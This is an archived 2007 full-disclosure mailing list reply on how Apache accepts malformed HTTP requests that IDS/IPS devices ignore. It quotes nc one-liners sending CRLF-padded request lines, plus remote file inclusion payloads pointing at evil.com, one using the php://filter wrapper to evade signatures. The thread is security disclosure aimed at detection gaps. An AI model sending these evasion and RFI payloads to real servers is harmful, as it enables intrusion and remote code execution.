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Re: IPS Evasion with the Apache HTTP Server
From: "Jamie Riden" <jamie.riden () gmail com>
Date: Wed, 20 Jun 2007 13:39:21 +0100

On 20/06/07, 3APA3A <3APA3A () security nnov ru> wrote:
Dear H D Moore,

--Tuesday, June 19, 2007, 11:20:41 PM, you wrote to full-disclosure () lists grok org uk:

HDM> $  echo  -ne "\r\n\r\n\r\n\r\n\r\n /buggy.php HTTP/1.0\r\n\r\n" | \
HDM> nc webserver 80

According  to  recommendations  of  RFC  2616, section 4.1 Web server or
proxy  server  should  ignore \r\n before request for compatibility with
odd  clients  sending  trailing  \r\n  with POST requests via keep-alive
connections:

   In the interest of robustness, servers SHOULD ignore any empty
   line(s) received where a Request-Line is expected. In other words, if
   the server is reading the protocol stream at the beginning of a
   message and receives a CRLF first, it should ignore the CRLF.

$ echo -ne " /buggy.php HTTP/1.0\r\n\r\n" | nc webserver 80

Does the same job. This problem (unsupported request method) was already
reported by Michal Majchrowicz, see

http://securityvulns.com/Qdocument846.html

(This is what I gathered from the original posting, but I might be wrong.)

I think the issue is not that the apache server behaviour is wrong as
such, but that IDS/IPS do not use the same algorithm as apache for
checking validity of HTTP requests. Thus apache may accept and process
a request like:

\r\n\r\n\r\n\r\n\r\n\x0c/rfi.php?includedir=http://evil.com\x0bHTTP/1.0\r\n\r\n

but that the IDS/IPS will ignore that packet on the grounds that "it's
not a valid HTTP request"., when it should actually be alerting that a
RFI attempt was made.

While we're on the subject of IDS, it looks like PHP 5 supports a new
wrapper php://filter, such that a RFI may be performed by: GET
/rfi.php?includedir=php://filter/resource=http://www.evil.com - which
may not be detected by some existing IDS signatures. (See
http://uk2.php.net/manual/en/wrappers.php.php )

cheers,
 Jamie
-- 
Jamie Riden / jamesr () europe com / jamie () honeynet org uk
UK Honeynet Project: http://www.ukhoneynet.org/

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